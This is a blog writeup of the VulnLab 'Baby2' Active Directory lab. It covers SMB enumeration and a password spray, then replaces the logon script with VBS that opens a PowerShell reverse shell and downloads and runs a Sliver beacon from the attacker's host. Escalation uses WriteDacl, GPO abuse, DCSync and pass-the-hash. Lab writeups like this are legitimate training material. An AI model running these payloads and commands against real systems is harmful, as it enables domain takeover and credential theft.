Vulnlab - Baby2 Writeup

Liam Geyer

πŸ‘Ύ Machine Overview

This is a writeup of the machine Baby2 from VulnLab, it’s a Medium difficulty Windows machine which features some fun with logon scripts, as well as some basic AD and GPO abuse.

πŸ” Enumeration

I started off with an Nmap scan of the box:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
nmap -sV -sC -Pn -oN initial-scan 10.10.96.148
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-28 13:23 EST
Stats: 0:01:00 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 29.50% done; ETC: 13:26 (0:02:23 remaining)
Stats: 0:02:41 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 91.67% done; ETC: 13:25 (0:00:02 remaining)
Stats: 0:02:46 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 91.67% done; ETC: 13:26 (0:00:02 remaining)
Stats: 0:03:20 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.94% done; ETC: 13:26 (0:00:00 remaining)
Nmap scan report for 10.10.96.148
Host is up (0.15s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-28 18:25:27Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: baby2.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc.baby2.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.baby2.vl
| Not valid before: 2024-12-28T18:14:56
|_Not valid after: 2025-12-28T18:14:56
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: baby2.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc.baby2.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.baby2.vl
| Not valid before: 2024-12-28T18:14:56
|_Not valid after: 2025-12-28T18:14:56
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: baby2.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc.baby2.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.baby2.vl
| Not valid before: 2024-12-28T18:14:56
|_Not valid after: 2025-12-28T18:14:56
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: baby2.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc.baby2.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.baby2.vl
| Not valid before: 2024-12-28T18:14:56
|_Not valid after: 2025-12-28T18:14:56
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: BABY2
| NetBIOS_Domain_Name: BABY2
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: baby2.vl
| DNS_Computer_Name: dc.baby2.vl
| DNS_Tree_Name: baby2.vl
| Product_Version: 10.0.20348
|_ System_Time: 2024-12-28T18:26:09+00:00
| ssl-cert: Subject: commonName=dc.baby2.vl
| Not valid before: 2024-12-27T18:24:06
|_Not valid after: 2025-06-28T18:24:06
|_ssl-date: 2024-12-28T18:26:49+00:00; -12s from scanner time.
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: -12s, deviation: 0s, median: -12s
| smb2-time:
| date: 2024-12-28T18:26:11
|_ start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 230.11 seconds

Next I added dc.baby2.vl and baby2.vl to my /etc/hosts file.

πŸ“‚ SMB

I checked for Guest access to shares with SMBMap.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
smbmap -H 10.10.96.148 -u "Guest" -p ""

________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.4 | Shawn Evans - [email protected]<mailto:[email protected]>
https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)

[+] IP: 10.10.96.148:445 Name: dc.baby2.vl Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
apps READ ONLY
C$ NO ACCESS Default share
docs NO ACCESS
homes READ, WRITE
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
SYSVOL NO ACCESS Logon server share
[*] Closed 1 connections

It looks like we have write on homes, and can read apps.

I was able to pull a userlist from homes:

1
2
3
4
5
6
7
8
9
10
11
Amelia.Griffiths
Carl.Moore
Harry.Shaw
Joan.Jennings
Joel.Hurst
Kieran.Mitchell
library
Lynda.Bailey
Mohammed.Harris
Nicola.Lamb
Ryan.Jenkins

Inside of apps there’s a changelog, and a shortcut file login.vbs.lnk.

CHANGELOG:

1
2
3
4
5
6
7
[0.2]

- Added automated drive mapping

[0.1]

- Rolled out initial version of the domain logon script

Inside of the shortcut there’s a reference to file file \\DC\NETLOGONlogin.vbs9..\..\..\Windows\SYSVOL\sysvol\baby2.vl\scripts\login.vbs which is presumably a logon script we can attempt to tamper with.

Checking out the NETLOGON share we can find the aforementioned login.vbs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Sub MapNetworkShare(sharePath, driveLetter)
Dim objNetwork
Set objNetwork = CreateObject("WScript.Network")

' Check if the drive is already mapped
Dim mappedDrives
Set mappedDrives = objNetwork.EnumNetworkDrives
Dim isMapped
isMapped = False
For i = 0 To mappedDrives.Count - 1 Step 2
If UCase(mappedDrives.Item(i)) = UCase(driveLetter & ":") Then
isMapped = True
Exit For
End If
Next

If isMapped Then
objNetwork.RemoveNetworkDrive driveLetter & ":", True, True
End If

objNetwork.MapNetworkDrive driveLetter & ":", sharePath

If Err.Number = 0 Then
WScript.Echo "Mapped " & driveLetter & ": to " & sharePath
Else
WScript.Echo "Failed to map " & driveLetter & ": " & Err.Description
End If

Set objNetwork = Nothing
End Sub

MapNetworkShare "\\dc.baby2.vl\apps", "V"
MapNetworkShare "\\dc.baby2.vl\docs", "L"

This script is used to map network drives whenever a user logs in.

Presumably we can edit this file to have a malicious script run whenever a user logs in, but we’re not able to overwrite this as guest. We’ll need to gain access to another account.

🦢 Foothold

I tried ASREPRoasting to no avail, so I pivoted to some basic password sprays. I tried blank passwords, and usernames as passwords with our userlist.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
 nxc smb dc.baby2.vl -u user.list -p user.list --continue-on-success
SMB 10.10.96.148 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:False)
SMB 10.10.96.148 445 DC [-] baby2.vl\Amelia.Griffiths:Amelia.Griffiths STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\Carl.Moore:Amelia.Griffiths STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\Harry.Shaw:Amelia.Griffiths STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\Joan.Jennings:Amelia.Griffiths STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\Joel.Hurst:Amelia.Griffiths STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\Kieran.Mitchell:Amelia.Griffiths STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\library:Amelia.Griffiths STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\Lynda.Bailey:Amelia.Griffiths STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\Mohammed.Harris:Amelia.Griffiths STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\Nicola.Lamb:Amelia.Griffiths STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\Ryan.Jenkins:Amelia.Griffiths STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\Amelia.Griffiths:Carl.Moore STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [+] baby2.vl\Carl.Moore:Carl.Moore
SMB 10.10.96.148 445 DC [-] baby2.vl\Harry.Shaw:Carl.Moore STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\Joan.Jennings:Carl.Moore STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\Joel.Hurst:Carl.Moore STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\Kieran.Mitchell:Carl.Moore STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\library:Carl.Moore STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\Lynda.Bailey:Carl.Moore STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\Mohammed.Harris:Carl.Moore STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\Nicola.Lamb:Carl.Moore STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\Ryan.Jenkins:Carl.Moore STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\Amelia.Griffiths:Harry.Shaw STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\Harry.Shaw:Harry.Shaw STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\Joan.Jennings:Harry.Shaw STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\Joel.Hurst:Harry.Shaw STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\Kieran.Mitchell:Harry.Shaw STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\library:Harry.Shaw STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\Lynda.Bailey:Harry.Shaw STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\Mohammed.Harris:Harry.Shaw STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\Nicola.Lamb:Harry.Shaw STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\Ryan.Jenkins:Harry.Shaw STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\Amelia.Griffiths:Joan.Jennings STATUS_LOGON_FAILURE
SMB 10.10.96.148 445 DC [-] baby2.vl\Harry.Shaw:Joan.Jennings STATUS_LOGON_FAILURE

That was able to net me two hits for Carl.Moore, and library.

Now as Carl, we should be able to overwrite the logon script with some malicious VBS.

My first thought was to try and have the script map my Responder server to try and grab and crack a user’s hash, or to attempt a revshell.

I used the following VBS script to try and attempt both a revshell, and to coerce SMB auth with Responder running.

1
2
3
4
5
6
7
Set shell = CreateObject("WScript.Shell")

cmd = "powershell -nop -c ""$client = New-Object System.Net.Sockets.TCPClient('10.8.0.230',6969);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"""

MapNetworkShare "\\10.8.0.230\erm", "L"

shell.Run cmd, 0, Falsep

Then as Carl I overwrote the existing logon script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
smbclient -U baby2.vl/Carl.Moore%Carl.Moore '\\dc.baby2.vl\SYSVOL'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue Aug 22 13:37:36 2023
.. D 0 Tue Aug 22 13:37:36 2023
baby2.vl Dr 0 Tue Aug 22 13:37:36 2023

6126847 blocks of size 4096. 2018846 blocks available
smb: \> cd baby2.vl\
smb: \baby2.vl\> dir
. D 0 Tue Aug 22 13:43:55 2023
.. D 0 Tue Aug 22 13:37:36 2023
DfsrPrivate DHSr 0 Tue Aug 22 13:43:55 2023
Policies D 0 Tue Aug 22 13:37:41 2023
scripts D 0 Tue Aug 22 15:28:27 2023

6126847 blocks of size 4096. 2018844 blocks available
smb: \baby2.vl\> cd scripts
smb: \baby2.vl\scripts\> dir
. D 0 Tue Aug 22 15:28:27 2023
.. D 0 Tue Aug 22 13:43:55 2023
login.vbs A 992 Sat Sep 2 10:55:51 2023

6126847 blocks of size 4096. 2018844 blocks available
smb: \baby2.vl\scripts\> put login.vbs
putting file login.vbs as \baby2.vl\scripts\login.vbs (1.0 kb/s) (average 1.0 kb/s)
smb: \baby2.vl\scripts\>

Eventually this got me an NTLMv1-SSP Hash for Amelia.Griffiths that I wasn’t able to crack, and I never got the revshell to call back.

1
2
3
[SMB] NTLMv1-SSP Client   : 10.10.96.148
[SMB] NTLMv1-SSP Username : BABY2\Amelia.Griffiths
[SMB] NTLMv1-SSP Hash : Amelia.Griffiths::BABY2:[SNIPPED]

After some troubleshooting I modified the script to instead download and run my Sliver beacon. I was only able to get this to work when hosting my webserver on port 80 - the VBS syntax was not a fan of :.

Sliver VBS Script:

1
2
3
Set oShell = CreateObject("Wscript.Shell")
oShell.run "cmd.exe /c curl 10.8.0.230/wizard101.exe -o C:\Windows\Temp\wizard101.exe"
oShell.run "cmd.exe /c C:\Windows\Temp\wizard101.exe"

That successfully got me a beacon as Amelia that I could use to grab the user flag in the root of the C drive!

Sliver Beacons

πŸ‘±β€β™€ Amelia

Now as Amelia I started poking around to see how we could escalate. She had the following permissions:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
whoami /all

USER INFORMATION
----------------

User Name SID
====================== =============================================
baby2\amelia.griffiths S-1-5-21-213243958-1766259620-4276976267-1114


GROUP INFORMATION
-----------------

Group Name Type SID Attributes
========================================== ================ ============================================= ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Desktop Users Alias S-1-5-32-555 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Group used for deny only
BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
BABY2\office Group S-1-5-21-213243958-1766259620-4276976267-1104 Mandatory group, Enabled by default, Enabled group
BABY2\legacy Group S-1-5-21-213243958-1766259620-4276976267-2601 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192


PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ============================== ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

Looks like we’re members of the Office and Legacy groups. I ran Bloodhound to see what we could do with those.

1
bloodhound-python -d baby2.vl -u library -p library -ns [IP] -c all --zip

Bloodhound

Our path here looks pretty straightforward. We have WriteDacl over gpoadm who can edit the default domain policy.

Checkout my notes page on exploiting WriteDacl

First we’ll need to exploit WriteDacl. One way to do this is to use PowerView to grant Amelia FullControl over gpoadm, and change their password.

1
2
3
4
5
6
# In our shell as amelia give full rights over gpoadm
Add-DomainObjectAcl -TargetIdentity GPOADM -PrincipalIdentity amelia.griffiths -Rights All

# Change their password
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity gpoadm -AccountPassword $UserPassword

Now we can use the GPO Admin account to modify the default domain policy. I used the tool pyGPOAbuse to create a new DA. We’ll need the GPO ID which we can grab from its node in Bloodhound.

Object ID

1
2
3
python3 ./pygpoabuse.py 'baby2.vl/gpoadm:Password123!' -gpo-id "31B2F340-016D-11D2-945F-00C04FB984F9" -dc-ip 10.10.96.148
SUCCESS:root:ScheduledTask TASK_54cc753b created!
[+] ScheduledTask TASK_54cc753b created!

By default this tool will create a new DA john:H4x00r123.. .

We can use our shiny new account to DCSync and grab the Admin’s hash.

1
2
3
4
5
6
secretsdump.py john:[email protected] -just-dc
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:[SNIPPED]

From there we can WinRM in and grab the flag!

1
evil-winrm -i dc.baby2.vl -u administrator -H [SNIPPED]

Yippee!

πŸ“– Resources

πŸ”— Hyperlinkℹ️ Info
pyGPOAbuseGPO Abuse Tool
Cybersec NotesDCSync Notes
Cybersec NotesWriteDACL Abuse
  • Title: Vulnlab - Baby2 Writeup
  • Author: Liam Geyer
  • Created at : 2025-05-17 00:00:00
  • Updated at : 2025-05-26 13:49:34
  • Link: https://lfgberg.org/2025/05/17/vulnlab/baby2/
  • License: This work is licensed under CC BY-NC-SA 4.0.